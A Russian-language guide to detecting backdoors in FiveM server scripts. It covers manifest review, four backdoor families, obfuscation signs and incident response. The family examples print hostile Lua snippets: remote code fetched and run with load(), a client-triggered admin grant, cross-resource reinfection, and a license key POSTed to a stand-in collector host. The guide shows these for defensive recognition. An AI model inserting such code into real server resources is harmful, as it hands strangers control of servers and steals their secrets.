Как распознать скрипт FiveM с бэкдором

Четыре формы, которые принимает бэкдор, как прочитать resource до того, как она запустится, и что делать в первую очередь, когда вы его нашли. Отсортировано по тому, что реально вас защищает.

6 минут чтения

Кто-то присылает вам «бесплатно слитый» скрипт. Вы кидаете его в resources, перезапускаете сервер, и всё работает. Через три недели у постороннего человека админка, ваша база данных исчезла, или ваш сервер тихо крутит рекламу вашим же игрокам.

Этот гайд о том, как посмотреть на resource до того, как она запустится, что на самом деле означают паттерны, и что делать, когда вы нашли бэкдор.

Ничего из этого не загружает ваши файлы на сервер. Сканер бэкдоров читает их в вашем браузере, и это единственный вменяемый способ изучать скрипт, которому вы уже не доверяете.

Начните с manifest

fxmanifest.lua решает, что запускается. Открывайте его первым, всегда.

fx_version "cerulean"game "gta5"client_scripts {    "client/*.lua",}server_scripts {    "server/*.lua",    "config/init.lua",}

Два вопроса, именно в таком порядке:

  1. Каждый ли перечисленный файл имеет смысл для того, что resource декларирует? Скрипт парковки с server_script под названием updater.lua заслуживает внимания.
  2. Не грузится ли что-то по маске, сквозь которую вы не видите? server/*.lua — это нормально, но это же означает, что добавленный позже файл запустится без единой дополнительной правки.

Затем сравните manifest с содержимым папки. Файл, который есть на диске и не указан в manifest, обычно просто мусор. Файл в manifest, который вы не можете найти, — знак гораздо хуже.

Четыре формы, которые принимает бэкдор

Почти всё вредоносное попадает в одно из четырёх семейств. Знать семейство важнее, чем заучивать строки, потому что строки меняются, а формы — нет.

1. Код скачивается в рантайме и выполняется

Resource что-то скачивает и запускает. То, что вы проверили сегодня, завтра может отдать совсем другое.

PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)    if code == 200 then        assert(load(body))()    endend, "GET")

load, loadstring, RunString и assert(load(...)) превращают текст в выполняемый код. В паре с HTTP-запросом в том же файле невинного прочтения тут нет.

Автообновление — обычная легенда прикрытия. Легитимный апдейтер скачивает файл и просит вас перезапуститься. Он не выполняет скачанное прямо в памяти.

2. Права выдаются в рантайме

Самое тихое семейство, и то, которое чаще всего пропускают, потому что ничего необычного не видно ровно до момента, когда у аккаунта, которого никто не создавал, оказывается полный доступ.

RegisterNetEvent("core:sync", function(identifier)    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)

Здесь неправильны сразу две вещи. add_principal в рантайме вообще не должен приходить из resource, которую писали не вы, а событие берёт идентификатор от клиента, так что вызвать его со своим может кто угодно.

Поищите в любой resource add_principal, add_ace и ExecuteCommand. В обычном геймплейном скрипте их ноль.

3. Закрепление и повторное заражение

Самое интересное в серьёзном бэкдоре — то, что происходит после того, как вы его нашли.

SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)

SaveResourceFile позволяет resource переписать другую resource. Вы удаляете вредоносный скрипт, а он возвращается из той, которую переписали. Именно поэтому найти один файл — это не то же самое, что быть чистым.

4. Утечка секретов

Ради чего всё и затевалось.

local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)

У resource, которая читает sv_licenseKey, steam_webApiKey, rcon_password или вашу строку подключения к MySQL, нет для этого легитимных причин. Как и у URL вебхука Discord, который добавляли не вы.

Обфускация — не преступление, но это сигнал

Многие платные скрипты обфусцированы, чтобы защитить лицензию, поэтому сама по себе обфускация не означает злого умысла. Она означает, что вы не можете это проверить, и такое решение стоит принимать осознанно, а не случайно.

Что вы видитеЧто это значит
повторяющееся \x68\x74\x74\x70строки в hex-escape, скрывающие URL или имя
string.char(104, 116, 116, 112)та же идея, в десятичном виде
одна строка длиннее 800 символовминифицировано, чтобы никто не пробежал глазами
имена в стиле _0x4f2aобфускатор JavaScript, часто в payload для NUI
LPH_NO_VIRTUALIZE, IronBrew, Luraphобфускатор Lua, прямо по имени

Честное правило: обфусцированный файл от платного продавца, которого вы выбрали сами, — это риск, который вы приняли. Обфусцированный файл внутри бесплатного слива — это риск, который кто-то выбрал за вас.

Блоки hex и Base64 разворачиваются в одно действие через декодер Base64, hex и URL. Он тоже работает в вашем браузере, так что вы не вставляете подозрительный payload на чужой сайт.

Делайте это перед каждой установкой

Короткая рутина отлавливает большую часть.

  1. Просканируйте архив. Киньте .zip прямо в сканер бэкдоров. Он читает zip, никуда их не распаковывая.
  2. Прочитайте manifest и сравните его с содержимым папки.
  3. Прогрепайте четыре семейства. load(, PerformHttpRequest, add_principal, SaveResourceFile, GetConvar.
  4. Сначала ставьте на тестовый сервер, с одноразовым licence key и базой данных, в которой ничего нет.
  5. Смотрите в консоль при первом запуске. Бэкдоры, которые звонят домой, обычно делают это сразу, и HTTP-ошибка на старте — это подарок.

Когда вы нашли бэкдор

Здесь важен порядок, и инстинкт сначала удалить файл — неправильный.

  1. Остановите сервер. Не resource. Сервер.
  2. Смените все секреты: sv_licenseKey через портал Cfx, пароль базы данных, вебхуки Discord, любой ключ API в convar. Считайте, что всё в server.cfg уже известно. Генератор секретов создаёт замены, никуда их не отправляя.
  3. Проверьте add_principal в своих конфигах и уберите каждый идентификатор, который вы не узнаёте.
  4. Проверьте остальные resource — из-за семейства 3. Один бэкдор, который пользовался SaveResourceFile, означает, что читать надо и остальные.
  5. Только после этого удаляйте resource и восстанавливайтесь из резервной копии, сделанной до её установки, если такая есть.

Сменить licence key, не сменив пароль базы данных, не решает ничего. У того, кто получил выполнение кода на сервере, были и все ваши доступы.

Чего это не скажет

Поиск по паттернам в исходном тексте — не доказательство.

Аккуратно написанный бэкдор может обойти каждый паттерн из этого гайда, а чистый код иногда под них попадает: легитимная resource вполне может вызывать PerformHttpRequest, и куча хороших скриптов читает convar. Именно поэтому сканер объясняет, что означает каждая находка, а не выносит вердикт.

Относитесь к отчёту как к списку мест, куда стоит заглянуть, а не как к приговору. Решение остаётся за вами, и так и должно быть.

Инструменты, которые используются в этом гайде